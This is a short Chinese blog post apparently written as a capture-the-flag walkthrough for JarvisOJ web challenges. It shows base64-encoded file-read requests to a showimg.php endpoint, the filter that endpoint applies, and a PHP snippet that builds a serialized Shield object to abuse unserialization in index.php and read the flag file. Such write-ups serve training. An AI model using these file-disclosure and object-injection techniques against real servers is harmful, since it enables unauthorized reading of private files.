[JarvisOj]Web

2018-01-29  本文已影响52人  JasonChiu17

LOCALHOST

题目入口:http://web.jarvisoj.com:32774/

神盾局的秘密

这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?
题目入口:http://web.jarvisoj.com:32768/

主页
  1. 查看showimg.php源码
    view-source: http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
1. 要decode base64。
2. stripos() 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
3...,/,\\,pctf,这些字符不能出现在img参数里
  1. 查看index.php源码
    view-source: http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
1. 可以传递class参数
2. 反序列化传递的class参数
  1. 利用文件包含漏洞,查看shield.php源码
    view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
    $x=new Shield('pctf.php');
    echo serialize($x);
?>
上一篇 下一篇

猜你喜欢

热点阅读